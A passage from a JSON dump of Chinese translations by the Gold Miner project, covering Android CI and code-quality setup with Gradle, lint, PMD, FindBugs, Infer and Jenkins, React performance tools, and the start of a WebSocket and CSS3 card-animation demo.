服务器。通常，我们使用特征分支方法。\n这意味着，默认情况下，我们的分支如下所示：\n\n![](https://cdn-images-1.medium.com/max/1000/1*iHPPa72N11sBI_JSDEGxEA.png)\n\nGit 特征分支模型。图片由 github.com 提供\n\n我们还决定，禁用直接提交代码到 master 分支，这意味着提交代码到 master 分支，只能通过发起 pull request 来合并分支。\n在 GitHub 上，这样是超级容易实现的。只需要在你的代码库设置中，勾选保护这个分支。\n\n![](https://cdn-images-1.medium.com/max/800/1*mMx46zrf2rs-mWVM_gvrnQ.png)\n\n在 GitHub 上设置分支保护\n\n以上介绍的是如何禁止开发者直接将代码提交到 master 分支。\n从现在开始，只有通过提交 pull request 才能进行修改。这意味着，至少有一个人会审核你的代码。\n\n这有两个好处：\n\n1. 通过 pull 请求，我们会给关注的人发送代码变动的通知，他们能够通过审核代码来知悉代码的变动情况。\n2. 采用彼此间的审核，我们可以减少错误的数量。当有人试图取巧而犯错的时候，其他人会注意到的。\n\n目前，我们的构建循环非常简单。\n\n```\n./gradlew check // run unit tests \n./gradlew assemble // assemble all build flavors\n```\n\n现在开始介绍我们需要用到的工具。\n\n作为要求，我们决定只使用通过 gradle 整合的工具。这将使我们能够完全无缝集成。\n\n### [Lint](https://developer.android.com/studio/write/lint.html) ###\n\n由于 lint 是一个常见的工具，这里不会详细介绍它，只会向您展示如何启用它。\n\nLint 是 Android 插件的一部分，但默认情况下，它没有在新项目中配置。\n要启用它，可以将下面的代码段添加到 **build.gradle** 文件中的 **android** 代码段内。\n\n```\nlintOptions {\n//lintrules of conduct\n   warningsAsErrors true\n   abortOnError true\n   htmlReport true\n   //locations**for**the rules and output\n   lintConfig file(\"${rootDir}/config/lint/lint-config.xml\")\n   htmlOutput file(\"${buildDir}/reports/lint/lint.html\")\n}\n```\n\n上面的代码段中，需要注意的是：\n\n1. warningsAsErrors = true — 将所有的警告当成错误处理\n2. abortOnError = true — 发生 Lint 错误时，终止编译\n3. lintConfig — 定义 Lint 规则的配置文件\n\n现在我们已经配置过 lint，是时候动手运行看看。\n\nGradle 的 Android 插件有不少预定义的 tasks，你可以使用 **tasks** 选项罗列出所有的 tasks。\n输出的日志数量巨大，下面是其中验证任务的片段：\n\n```\n$ ./**gradlew****tasks**\n------------------------------------------------------------\nAll tasks runnable from root project\n------------------------------------------------------------\n\nAndroid tasks\n-------------\nandroidDependencies - Displays the Android dependencies of the project.\nsigningReport - Displays the signing info for each variant.\nsourceSets - Prints out all the source sets defined in this project.\n... etc ...\nVerification tasks\n------------------\n\ncheck - Runs all checks.\nconnectedAndroidTest - Installs and runs instrumentation tests for all flavors on connected devices.\nconnectedCheck - Runs all device checks on currently connected devices.\nconnectedDebugAndroidTest - Installs and runs the tests for debug on connected devices.\ncreateDebugCoverageReport - Creates test coverage reports for the debug variant.\ndeviceAndroidTest - Installs and runs instrumentation tests using all Device Providers.\ndeviceCheck - Runs all device checks using Device Providers and Test Servers.\n\nlint - Runs lint on all variants.\nlintDebug - Runs lint on the Debug build.\nlintRelease - Runs lint on the Release build.\ntest - Run unit tests for all variants.\ntestDebugUnitTest - Run unit tests for the debug build. \ntestReleaseUnitTest - Run unit tests for the release build.\n\n... etc ...\n```\n\n我喜欢用 **check**，它是这样描述的 “运行所有检查 （runs all checks）”。\n\n默认情况下， check 会调用所有可用的模块工程对应的 check 任务，这意味着，运行：\n\n```\n./gradlewcheck\n```\n\n会执行所有子模块工程的 check 任务，包括：\n\n- debug/release 所有的单元测试\n- debug/release 所有的 UI 测试\n- Lint\n\n这些特性正是我们现在所需要的，后面介绍的特性都会与这个 check 任务关联。\n\n### 代码分析 ###\n\n所以, 接下来，我阅读了 [PMD](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-pmd.gradle), [Findbugs](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-findbugs.gradle) 同时发现了 Facebook 的 [Infer](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-infer.gradle).\n\n**PMD** 是一个代码分析工具. 它能发现常见的编程缺陷，如未使用的变量，空的 catch 块，不必要的对象创建等等。 PMD 工作在源代码层，因此会发现以下问题：违反命名规则，缺少花括号，错误的 null 检查，长参数列表，不必要的构造函数，switch 中缺少 break 等。PMD还会告诉您代码的循环复杂性，这我觉得非常有帮助。\n\n为了添加 PMD 作为分析器，我们需要在 build.gradle 文件中追加一些内容。我们可以添加下面的代码段\n\n```\napply plugin: 'pmd'\n\ndef configDir = \"${project.rootDir}/config\"\ndef reportsDir = \"${project.buildDir}/reports\"\ncheck.dependsOn 'pmd'\ntask pmd(type: Pmd, dependsOn: \"assembleDebug\") {\n   ignoreFailures = false\n   ruleSetFiles = files(\"$configDir/pmd/pmd-ruleset.xml\")\n   ruleSets = []\n   source 'src/main/java'\n   include '**/*.java'\n   exclude '**/gen/**'\n   reports {\n      xml.enabled = true\n      html.enabled = true\n      xml {\n         destination \"$reportsDir/pmd/pmd.xml\"\n      }\n      html {\n         destination \"$reportsDir/pmd/pmd.html\"\n      }\n   }\n}\n```\n\n在这个脚本中，值得注意的有趣的点是：\n\n1. check.dependsOn ‘pmd’ — 这行将 PMD 和 check 任务关联起来了。 这意味着，当我们调用 gradle check 的同时, pmd 作为依赖任务也会被一同调用。 这样, 团队可以习惯于调用 gradle check，所有相关的检查也同时进行。\n2. ruleSetFiles — 定义将在此构建中使用的一组规则和细节。\n3. reports block — 指定要扫描的内容，要忽略的内容以及要报告的位置。\n\n**FindBugs** 是一个检查 Java 代码中潜在 bugs 的工具. 潜在错误分为四个等级: (i) 最严重的 (scariest)， (ii) 严重的 （scary）， (iii) 麻烦的 (troubling) 和 (iv) 关心的 (concerned)。它会给开发者关于代码中可能存在的问题的严重性给予提示。 FindBugs 工作于字节码层面, 而非源码层面。\n\n```\napply plugin: 'findbugs'\ndef configDir = \"${project.rootDir}/config\"\ndef reportsDir = \"${project.buildDir}/reports\"\ncheck.dependsOn 'findbugs'\ntask findbugs(type: FindBugs, dependsOn: \"assembleDebug\") {\n   ignoreFailures = false\n   effort = \"max\"\n   reportLevel = \"high\"\n   excludeFilter = new File(\"$configDir/findbugs/findbugs-filter.xml\")\n   classes = files(\"${buildDir}/intermediates/classes\")\n   source'src/main/java'\n   include '**/*.java'\n   exclude '**/gen/**'\n   reports { \n      xml.enabled = true\n      html.enabled = false\n      xml {\n         destination \"$reportsDir/findbugs/findbugs.xml\"\n      }\n      html {\n         destination \"$reportsDir/findbugs/findbugs.html\"\n      }\n   }\n   classpath = files()\n}\n```\n\n这个配置中需要关注的点是：\n\n1. check.dependsOn ‘findbugs’ — 跟之前一样，我们将它和 check 任务关联。\n2. ignoreFailures = false — 定义发现的问题是要归类为警告还是错误。\n3. reportLevel = “max” — 指定报错的阈值. 如果设置为 “low”， 则不需要过滤所发现的问题。 如果设置为 “medium” (默认值)， 低优先级的问题就会直接被滤掉。 如果设置为 “high”， 只有严重的问题才会被提出。\n4. effort —-- 设置分析的等级. 启用分析，增加精度并发现更多错误，但可能需要更多内存并花费更多时间来完成。\n5. reports = 报告生成的位置\n\n**Infer** 是针对 Java， Objective-C 和 C 的静态分析工具。 infer 的优点在于它的双重检测所有的`@Nullable` vs `@NonNull` 注解的变量， 同时对于 Android，它有一些针对性的检测。 Infer 是个独立的工具， 这意味着默认情况下，它不需要集成到 Gradle 中， 但是 Uber 的小伙伴开发了 [Gradle plugin for Infer](https://github.com/uber-common/infer-plugin/) .\n为了在构建过程中加入这个分析器，我们还是将它加入 Gradle 中。\n\n\n```\napply plugin: 'com.uber.infer.android'\ncheck.dependsOn 'inferDebug'\ncheck.dependsOn 'eradicateDebug'\ninferPlugin {\n   infer {\n      include = project.files(\"src/main\")\n      exclude = project.files(\"build/\")\n   }\n   eradicate {\n   include = project.files(\"src/main\")\n   exclude = project.files(\"build/\")\n   }\n}\n```\n\n添加这个插件是相对直接的，只需要定义哪些源文件需要检测，哪些不需要检测。\n\n既然我们已经有了一些分析器，调用 ./**gradlew check** 然后查看会发生什么。\n在大量的日志中，你会看到类似于下面的内容\n\n```\n:mylibrary:inferCheckForCommand\n:mylibrary:inferPrepareDebug\n:mylibrary:eradicateDebug\nStarting analysis...\n\nlegend:\n  \"F\" analyzing a file\n  \".\" analyzing a procedure\n\nFound 12 source files in /Users/tancho/Development/repos/tests/make-or-break/mylibrary/build/infer-out\n\n  No issues found\n:mylibrary:findbugs UP-TO-DATE\n:mylibrary:inferDebug\nStarting analysis...\n\nlegend:\n  \"F\" analyzing a file\n  \".\" analyzing a procedure\n\nFound 12 source files in /Users/tancho/Development/repos/tests/make-or-break/mylibrary/build/infer-out\n\n  No issues found\n\n:mylibrary:deleteInferConfig\n:mylibrary:lint\nRan lint on variant release: 0 issues found\nRan lint on variant debug: 0 issues found\n:mylibrary:pmd\n```\n\n但是定义代码风格是件痛苦的事情！\n\nGoogle 又救场了! Google 实际上有对外公开了它的[代码风格](http://checkstyle.sourceforge.net/reports/google-java-style-20170228.html)。 因为实际上和 IntelliJ Idea 默认风格很类似，我仅仅修改了 Android studio 的“代码格式模板”，只需花费 10–15 分钟，[ 我就设置完了](https://github.com/smarkovik/make-or-break/tree/master/config/codestyle).\n\n**专业提示** **: 如果您想不断自动格式化您的代码，IntelliJ 已经为你提供了。 您可以轻松地录制宏，它能够重新排列代码，重新给 imports 排序，移除未使用的 imports，以及执行其他与代码风格相关操作。当结束的时候，在末尾加上 “save all” 。 接下去, 用 ctrl + s 保存宏定义。 这些设置可以分享到团队内, 它会自动为每个人工作。**\n\n### 生成文档 ###\n\n对于 java 来说很直接，我们需要生成 Javadoc。\n\n**步骤 1**: 需要给所有公共方法添加 JavaDoc 注释，这些注释得遵守一定的规则，并通过 Checkstyle 检测。\n\n**步骤 2**: 采用 Gradle JavaDoc 插件\n\n```\ntask javadoc(type: Javadoc) {\n    source = android.sourceSets.main.java.srcDirs\n    title = \"Library SDK\"\n    classpath = files(project.android.getBootClasspath())\n    destinationDir = file(\"${buildDir}/reports/javadoc/analytics-sdk/\")\n    options {\n        links \"http://docs.oracle.com/javase/7/docs/api/\"\n        linksOffline \"http://d.android.com/reference\",\"${android.sdkDirectory}/docs/reference\"\n    }\n    exclude '**/BuildConfig.java'\n    exclude '**/R.java'\n}\nafterEvaluate {\n    // fixes issue where javadoc can't find android symbols ref: http://stackoverflow.com/a/34572606\n    androidJavadocs.classpath += files(android.libraryVariants.collect { variant ->\n        variant.javaCompile.classpath.files\n    })\n}\n\n```\n\n现在, 如果在输出目录执行 *./gradlew javadoc* ，在 `build/reports/javadoc` 目录中，你能够找到工程的完整 javadoc 文档\n\n### 代码覆盖率报告 ###\n\n这里我们会使用 Jacoco, 一个标准 java 插件。\n\n```\napply plugin: 'jacoco'\njacoco {\n    toolVersion = \"0.7.5.201505241946\"\n}\ntask coverage(type: JacocoReport, dependsOn: \"testDebugUnitTest\") {\n    group = \"Reporting\"\n    description = \"Generate Jacoco coverage reports after running tests.\"\n    reports {\n        xml.enabled = true\n        html.enabled = true\n        html.destination \"${buildDir}/reports/codecoverage\"\n    }\n    def ignoredFilter = [\n            '**/R.class',\n            '**/R$*.class',\n            '**/BuildConfig.*',\n            '**/Manifest*.*',\n            'android/**/*.*',\n            'com.android/**/*.*',\n            'com.google/**/*.*'\n    ]\n    def debugTree = fileTree(dir:\"${project.buildDir}/intermediates/classes/debug\", excludes: ignoredFilter)\n    sourceDirectories = files(android.sourceSets.main.java.srcDirs)\n    classDirectories = files([debugTree])\n    additionalSourceDirs = files([\n            \"${buildDir}/generated/source/buildConfig/debug\",\n            \"${buildDir}/generated/source/r/debug\"\n    ])\n    executionData = fileTree(dir: project.projectDir, includes: ['**/*.exec', '**/*.ec'])\n}\n```\n\n这样, 类似地，执行 ./**gradlew** coverage 你可以在 `build/reports/coverage` 找到代码覆盖率报告。\n\n值得注意的是，为了减少代码错误（code smell），当开发者忘了删除所添加的调试代码、或者是注释掉将来才会使用的代码的时候，应该终止编译。\n\n```\ne.printStacktrace();\n\nSystem.out.println();\n\n//this code will be used sometime\n//if(contition){\n// someImportantMethod()\n//}\n```\n\n这里有个简单的解决方式, 只需要将下面的规则添加到 checkstyle 规则集中。\n\n```\n<module name=\"Regexp\">\n    <property name=\"format\" value=\"System\\.err\\.print\" />\n    <property name=\"illegalPattern\" value=\"true\" />\n    <property name=\"message\" value=\"Bad Move, You should not use System.err.println\" />\n</module>\n<module name=\"Regexp\">\n    <property name=\"format\" value=\"\\.printStacktrace\" />\n    <property name=\"illegalPattern\" value=\"true\" />\n    <property name=\"message\" value=\"Bad Move, You should not use System.err.println\" />\n</module>\n<!--Check for commented out code-->\n<module name=\"Regexp\">\n    <property name=\"format\" value=\"^\\s*//.*;\\s*$\" />\n    <property name=\"illegalPattern\" value=\"true\" />\n    <property name=\"message\" value=\"Bad Move, Commented out code detected, it smells.\" />\n</module>\n```\n\n最后，我们的构建过程还有额外的两行：\n\n```\n./gradlew check // run unit tests\n./gradlew javadoc // generate javadoc\n./gradlew coverage // generate coverage reports\n./gradlew assemble // assemble all build flavors\n```\n\n到这里，我们在必要的地方都已经加了检测校验。在最后我们还需要设置 Github，除非通过了 Jenkins 编译，否则不许分支合并。\n使用 Github 插件，这会是相当容易的。你可以添加一个编译步骤，运行一次，让它可以在 Github 上使用。\n\n![](https://cdn-images-1.medium.com/max/800/1*3udc8DO-_c9DaWQcnjcq0w.png)\n\n添加 Jenkins 编译步骤\n\n在 Github 上修改相应的状态要求\n\n![](https://cdn-images-1.medium.com/max/800/1*DBfAZ5j0l47TLBhXmmUbOA.png)\n\n在 Github 上设置状态要求\n\n一旦编译完成，如果你的 PR 不符合我们设置的规则， Jenkins 编译算是失败的，这时，Github 会阻止分支合并。\n\n![](https://cdn-images-1.medium.com/max/800/1*uPCb2nWdnm9IdnszVeiV8Q.png)\n\n当 Jenkins 编译失败时，Github 阻止分支合并\n\n### 总结 ###\n\n你现在拥有包含如下规则的机制：\n\n- 代码风格检测 ✓\n- 静态代码分析 (Android specific and Java related) ✓\n- 使用模式匹配，检测不良代码 ✓\n- 使用 JavaDoc 生成可持续，可维护的文档 ✓\n- 使用 Jenkins 来不断发现问题 ✓\n- 保护 master 分支 ✓\n\n棒极了，剩下要做的就是集中精力优化代码的体系结构以及持续优化整个系统。\n\n我的 [github 项目](https://github.com/smarkovik/make-or-break)提供了一个样例，包含了上面提到的多数特性。\n\n如果你也在巴黎，如果你有兴致，你可以来我们这里看看。[http://www.welcometothejungle.co/companies/contentsquare](http://www.welcometothejungle.co/companies/contentsquare).\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/make-react-fast-again-tools-and-techniques-for-speeding-up-your-react-app.md",
    "content": "\n> * 原文地址：[High Performance React: 3 New Tools to Speed Up Your Apps](https://medium.freecodecamp.org/make-react-fast-again-tools-and-techniques-for-speeding-up-your-react-app-7ad39d3c1b82)\n> * 原文作者：[Ben Edelstein](https://medium.freecodecamp.org/@edelstein)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/make-react-fast-again-tools-and-techniques-for-speeding-up-your-react-app.md](https://github.com/xitu/gold-miner/blob/master/TODO/make-react-fast-again-tools-and-techniques-for-speeding-up-your-react-app.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[yzgyyang](https://github.com/yzgyyang)、[reid3290](https://github.com/reid3290)\n\n# 高性能 React：3 个新工具加速你的应用\n\n![](https://cdn-images-1.medium.com/max/2000/1*mJFYp7LKVzZM3PPjFb0QXQ.png)\n\n通常来说 React 是相当快的，但开发者也很容易犯一些错误导致出现性能问题。组件挂载过慢、组件树过深和一些非必要的渲染周期可以迅速地联手拉低你的应用速度。\n\n幸运的是有大量的工具，甚至有些是 React 内置的，可以帮助我们检测性能问题。本文将着重介绍一些加快 React 应用的工具和技术。每一部分都配有一个可交互而且（希望是）有趣的 demo！\n\n### 工具 #1: 性能时间轴\n\nReact 15.4.0 引入了一个新的性能时间轴特性，可以精确展示组件何时挂载、更新和卸载。也可以让你可视化地观察组件生命周期相互之间的关系。\n\n**注意：** 目前，这一特性仅支持 Chrome、Edge 和 IE，因为它调用的 User Timing API 还没有在所有浏览器中实现。\n\n#### 如何使用\n\n1. 打开你的应用并追加一个参数：`react_perf`。例如， [`http://localhost:3000?react_perf`](http://localhost:3000?react_perf)\n2. 打开 Chrome 开发者工具 **Performance** 栏并点击 **Record**。\n3. 执行你想要分析的操作。\n4. 停止记录。\n5. 观察 **User Timing** 选项下的可视化视图。\n\n![](https://cdn-images-1.medium.com/max/1000/1*cOO5vUnbkdDUcqMW8ebJqA.png)\n\n#### 理解输出结果\n\n每一个色条显示的是一个组件做“处理”的时间。由于 JavaScript 是单线程的，每当一个组件正在挂载或渲染，它都会霸占主线程，并阻塞其他代码运行。\n\n像 `[update]` 这样中括号内的文字描述的是生命周期的哪一个阶段正在发生。把时间轴按照步骤分解，你可以看到依据方法的细粒度的计时，比如  `[componentDidMount]` `[componentWillReceiveProps]` `[ctor]` (constructor) 和 `[render]`。\n\n堆叠的色条代表组件树，虽然在 React 拥有过深的组件树也比较典型，但如果你想优化一个频繁挂载的组件，减少嵌套组件的数量也是有帮助的，因为每一层都会增加少量的性能和内存消耗。\n\n这里需要注意的是时间轴中的计时时长是针对 React 的开发环境构建的，会比生产环境慢很多。实际上性能时间轴本身也会拖慢你的应用。虽然这些时长不能代表真正的性能指标，但不同组件间的**相对**时间是精确的。而且一个组件是否完全被更新不取决于是否是生产环境的构建。\n\n#### Demo #1\n\n出于乐趣，我故意写了一个具有**严重**性能问题的 TodoMVC 应用。你可以[在这里尝试](https://perf-demo.firebaseapp.com/?react_perf)。\n\n打开 Chrome 开发者工具，切换到 “Performance” 栏，点击 Record 开始记录时间轴。然后在应用中添加一些 TODO，停止记录，检查时间轴。看看你能不能找出造成性能问题的组件 :)\n\n### Tool #2: why-did-you-update\n\n在 React 中最影响性能的问题之一就是非必要的渲染周期。默认情况下，一旦父组件渲染，React 组件就会跟着重新渲染，即使它们的 props 没有变化也是如此。\n\n举个例子，如果我有一个简单的组件长这样：\n\n    class DumbComponent extends Component {\n      render() {\n        return <div> {this.props.value} </div>;\n      }\n    }\n\n它的父组件是这样：\n\n    class Parent extends Component {\n      render() {\n        return <div>\n          <DumbComponent value={3} />\n        </div>;\n      }\n    }\n\n每当父组件渲染，`DumbComponent` 就会重新渲染，尽管它的 props 没有改变。\n\n一般来讲，如果 `render` 运行，并且虚拟 DOM 没有改变，而且既然 `render` 应该是个纯净的没有任何副作用的方法，那么这就是一个不必要的渲染周期。在一个大型应用中检测这种事情是非常困难的，但幸运的是有一个工具可以帮得上忙。\n\n#### 使用 why-did-you-update\n\n![](https://cdn-images-1.medium.com/max/1000/1*Lb4nr_WLwnLt63jUoszrnQ.png)\n\n`why-did-you-update` 是一个 React 钩子工具，用来检测潜在的非必要组件渲染。它会检测到被调用但 props 没有改变的组件 `render`。\n\n#### 安装\n\n1. 使用 npm 安装： `npm i --save-dev why-did-you-update`\n2. 在你应用中的任何地方添加下面这个片段：\n\n```\nimport React from 'react'\n\nif (process.env.NODE_ENV !== 'production') {\n    const {whyDidYouUpdate} = require('why-did-you-update')\n    whyDidYouUpdate(React)\n}\n```\n\n**注意：** 这个工具在本地开发环境使用起来非常棒，但是要确保生产环境要禁用掉，因为它会拖慢你的应用。\n\n#### 理解输出结果\n\n`why-did-you-update` 在运行时监听你的应用，并用日志输出可能存在非必要更新的组件。它让你看到一个渲染周期前后的 props 对比，来决定是否可能存在非必要的更新。\n\n#### Demo #2\n\n为了演示 `why-did-you-update`，我在 TodoMVC 中安装了这个库并放在 Code Sandbox 网站上，这是一个在线的 React 练习场。 打开浏览器控制台，并添加一些 TODO 来查看输出。\n\n[这里查看 demo](https://codesandbox.io/s/xGJP4QExn)。\n\n注意这个应用中很少的组件存在非必要渲染。尝试执行上述的技术来避免非必要渲染，如果操作正确，`why-did-you-update` 不会在控制台输出任何内容。\n\n### Tool #3: React Developer Tools\n\n![](https://cdn-images-1.medium.com/max/1000/1*1Ih6h8djFyH13tfFK3D1sw.png)\n\nReact Developer Tools 这个 Chrome 扩展有一个内置特性用来可视化组件更新。这有助于防止非必要的渲染周期。使用它，首先要确保[在这里安装了这个扩展](https://codesandbox.io/s/xGJP4QExn)。\n\n然后点击 Chrome 开发者工具中的 “React” 选项卡打开扩展并勾选“Highlight Updates”。\n\n![](https://cdn-images-1.medium.com/max/800/1*GP4vXvW3WO0vTbggDfus4Q.png)\n\n然后简单操作你的应用。和不同的组件交互并观察 DevTools 施展它的魔法。\n\n#### 理解输出结果\n\nReact Developer Tools 在给定的时间点高亮正在重新渲染的组件。根据更新的频率，使用不同的颜色。蓝色显示罕见更新，经过绿色、黄色的过渡，一直到红色用来显示更新频繁的组件。\n\n看到黄色或红色并不**必要**觉得一定是坏事。它可能发生在调整一个滑块或频繁触发更新的其他 UI 元素，这属于意料之中。但如果当你点击一个简单的按钮并且看到了红色这可能就意味着事情不对了。这个工具的目的就是识破正在发生**非必要**更新的组件。作为应用的开发者，你应该对给定时间内哪个组件应该被更新有一个大体的概念。\n\n#### Demo #3\n\n为了演示高亮，我故意让 TodoMVC 应用更新一些非必要的组件。\n\n[这里查看 demo](https://highlight-demo.firebaseapp.com/)。\n\n打开上面的链接，然后打开 React Developer Tools 并启用更新高亮。当你在上面的文字输入框中输入内容时，你将看到所有的 TODO 非必要地高亮。你输入得越快，你会看到颜色变化指示更新越来越频繁。\n\n### 修复非必要渲染\n\n一旦你已经确定应用中非必要重新渲染的组件，有几种简单的方法来修复。\n\n#### 使用 PureComponent\n\n在上面的例子中，`DumbComponent` 是只接收属性的纯函数。这样，组件就只有当它的 props 变化的时候才重新渲染。React 有一个特殊的内置组件类型叫做 `PureComponent`，就是适用这种情况的用例。\n\n与继承自 React.Component 相反，像这样使用 React.PureComponent：\n\n    class DumbComponent extends PureComponent {\n      render() {\n        return <div> {this.props.value} </div>;\n      }\n    }\n\n那么只有当这个组件的 props 实际发生变化时它才会被重新渲染了。就是这样！\n\n注意 `PureComponent` 对 props 做了一个浅对比，因此如果你使用复杂的数据结构，它可能会错失一些属性变化而不会更新你的组件。\n\n#### 调用 shouldComponentUpdate\n\n`shouldComponentUpdate` 是一个在 `render` 之前 `props` 或 `state` 发生改变时被调用的组件方法。如果 `shouldComponentUpdate` 返回 true，`render` 将会被调用，如果返回 false 什么也不会发生。\n\n通过执行这个方法，你可以命令 React 在 props 没有发生改变的时候避免给定组件的重新渲染。\n\n例如，我们可以在上文中的 DumbComponent 中这样调用 `shouldComponentUpdate`。\n\n    class DumbComponent extends Component {\n      shouldComponentUpdate(nextProps) {\n        if (this.props.value !== nextProps.value) {\n          return true;\n        } else {\n          return false;\n        }\n      }\n\n    render() {\n        return <div>foo</div>;\n      }\n    }\n\n### 在生产环境中调试性能问题\n\nReact Developer Tools 只能在你自己的机器上运行的应用中使用。如果您有兴趣了解用户在生产中看到的性能问题，试试 [LogRocket](https://logrocket.com)。\n\n![](https://cdn-images-1.medium.com/max/1000/1*s_rMyo6NbrAsP-XtvBaXFg.png)\n\n[LogRocket](https://logrocket.com) 就像是 web 应用的 DVR，会记录发生在你的站点上的**所有的一切**。你可以重现带有 bug 或性能问题的会话来快速了解问题的根源，而不用猜测问题发生的原因。\n\nLogRocket 工具为你的应用记录性能数据、Redux actions/state、日志、带有请求头和请求体的网络请求和响应以及浏览器的元数据。它也能记录页面上的 HTML 和 CSS，甚至可以为最复杂的单页面应用重新创建完美像素的视频。\n\n[**LogRocket | 为 JavaScript 应用而生的日志记录和会话回放工具** \nLogRocket 帮助你了解用影响你用户的问题，这样你就可以回过头来构建伟大的软件了。\nlogrocket.com](https://logrocket.com/)\n\n---\n\n感谢阅读，希望这些工具和技术能在你的下一个 React 项目中帮到你！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/making-magic-with-websockets-and-css3.md",
    "content": "> * 原文地址：[Making Magic with WebSockets and CSS3](https://medium.com/outsystems-engineering/making-magic-with-websockets-and-css3-ec22c1dcc8a8#.4d13ybtra)\n* 原文作者：[Hélio Dolores](https://medium.com/@helio.dolores?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[luoyaqifei](https://github.com/luoyaqifei)、[David Lin](https://github.com/wild-flame)\n\n# 使用 WebSocket 和 CSS3 创造魔法 #\n\n![](https://cdn-images-1.medium.com/max/1000/0*Nkkza8wGZFucca1c.)\n\n> **任何特别先进的技术都与魔法无异**\n> **—— Arthur C. Clarke**\n\n魔法自有其吸引人们注意和兴趣的方式，如果你想令人感到惊艳，使用魔术绝对没错。\n\n我刚开始编程的时候，只需简单的几行代码就足以深入人心。然而，如今技术在生活中扮演着如此重要的角色，我们需要不断推动自己进步。并且我们要极具创造性才令人感到惊艳。\n\n幸运的是，物联网给了我们许多重拾魔法的机会。\n\n你可以让最不可思议的事物连接到互联网，也可以和用户或者事物之间建立非常多的互动。\n\n### 通过一个购物 app 重回魔法世界？真的吗？ ###\n\n几个月前，我和几个同事参加了黑客马拉松，我们的目标是重新定义人们购买衣服的方式。\n\n我们设计了一款应用，它可以帮助导购查找顾客在本店中的需求物品。导购员只需将这些衣服展示在大屏幕上，顾客就能看到这些衣服的样子。\n\n尽管我们并没有在那场竞赛中获胜——[另一组同事光荣地获胜了](https://www.outsystems.com/blog/2016/10/outsystems-wins-hackathon.html)，但我们注意到这种独特的交互和展示方式给人带来极大的惊喜。\n\n观众能够看到图片从平板电脑被推送并投射到一个更大的屏幕上（有点物联网的意思）。他们好像飞一样，从起点直达目的地，像魔法一样棒！\n\n![](https://cdn-images-1.medium.com/max/800/0*bLcvjqKyjmSrsKst.)\n\n### 揭开魔法把戏的面纱 ###\n\n[![](https://thumbs.gfycat.com/DefiantAdventurousCamel-mobile.jpg)](https://gfycat.com/DefiantAdventurousCamel)\n点击图片查看视频\n\n[![](https://thumbs.gfycat.com/UnrulySaltyAnnelida-mobile.jpg)](https://gfycat.com/UnrulySaltyAnnelida)\n点击图片查看视频\n\n我来告诉你实现的方法，我将会用到一个非常经典的魔术道具——扑克牌：\n\n[![](https://thumbs.gfycat.com/DefiantAdventurousCamel-mobile.jpg)](https://gfycat.com/DefiantAdventurousCamel)\n点击图片查看视频\n\n这个交互中有两个主要因素：实时的 WebSocket 通讯和 CSS3 的视觉幻象。两个设备同步播放两个不同的扑克动画，而观众还以为他们是同一张扑克牌。\n\n### 通过 WebSockets 进行实时通讯 ###\n\n我们所知的互联网主要基于 HTTP 协议，这种协议依赖简单的请求-响应模式。这意味着一个典型的 web 应用如果没有明确请求的话是不会受到任何信息的。\n\n在这个例子中，我必须要让页面知道用户从手机上甩了一张牌出去。最有效的实现方式就是打开一个实时通讯频道，让两个应用都能连接——一个在手机上运行，另一个用来展示牌桌。\n\n我将展示如何搭建一个简单的实时服务来提供这项功能，这需要在服务器上运行 [node.js](https://nodejs.org/en/)。\n\n下面的代码实现了一个简单的 web 服务器来监听 WebSocket 连接。逻辑很简单，当接收到一个名为 **table-connect** 的消息时，服务器将保存该设备的 socket 并转发所有手机端 socket 发来的 **phone-throw-card** 消息。\n\n![Markdown](http://p1.bqimg.com/1949/480525a214b3e257.png)\n\n一旦服务器运行 WebSocket 服务，设备就会连接。\n\n上例中，我使用了名为 [socket.io](http://socket.io) 的库。这个库不仅仅简化了我处理 WebSocket 的方式，它也为不支持 WebSocket 协议的老版本浏览器创建了一个优雅的备用方案。\n\n牌桌应用必须连接到实时服务并发送（使用 emit）一个消息，方便服务器识别并存储 socket（消息内容为 **table-connect**）。\n\n牌桌应用也注册了一个回调函数来处理新的卡牌事件，每收到 **phone-throw-card** 消息时，它将会执行卡牌的进入动画。\n\n![Markdown](http://p1.bqimg.com/1949/2a6c79da0542372c.png)\n\n手机端的代码也非常简单，我只需要保存该 socket，并在丢牌到桌子上的时候使用它。\n\n![Markdown](http://p1.bqimg.com/1949/19bd3c09fc9cbca7.png)\n\n### CSS3 的视觉幻象 ###\n\n只要遵循[这些最佳实践](https://medium.com/outsystems-experts/how-to-achieve-60-fps-animations-with-css3-db7b98610108)，我们就能让 CSS3 动画流畅如水。为了实现这个简单的魔术效果，两个设备需要有相同的动画效果，但是它们移动的方向正好相反。\n\n为了让纸牌像是从手机底部落到桌子上，我在视口外创建了一个元素，之后设置 translateY 的变换让它看起来像是滑入窗口中一样。\n\n我改变了牌桌的脚本（phone-throw-card 事件），并调用函数在页面视口范围之外插入一个 HTML 元素，之后我添加了 CSS 